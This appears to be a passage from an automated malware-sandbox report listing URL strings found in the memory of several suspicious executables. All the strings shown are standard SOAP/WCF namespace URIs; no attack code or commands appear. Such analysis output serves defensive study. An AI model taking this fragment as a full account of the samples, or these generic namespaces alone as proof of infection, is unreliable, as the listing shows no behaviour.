Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: namdoitntn.exe, 00000013.00000002.926328708.0000000002B03000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.918068490.0000000003000000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.921012690.0000000002C25000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.923446627.0000000002EB3000.00000004.00000800.00020000.00000000.sdmp, SETUP_~1.EXE, 00000026.00000002.910062673.0000000002B46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.918068490.0000000003000000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: namdoitntn.exe, 00000013.00000002.926328708.0000000002B03000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.918068490.0000000003000000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.923446627.0000000002EB3000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.918068490.0000000003000000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15V
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.923446627.0000000002EB3000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: namdoitntn.exe, 00000013.00000002.926328708.0000000002B03000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: namdoitntn.exe, 00000013.00000002.926328708.0000000002B03000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: namdoitntn.exe, 00000013.00000002.926328708.0000000002B03000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.926124677.0000000002AFF000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.918004029.0000000002FFC000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
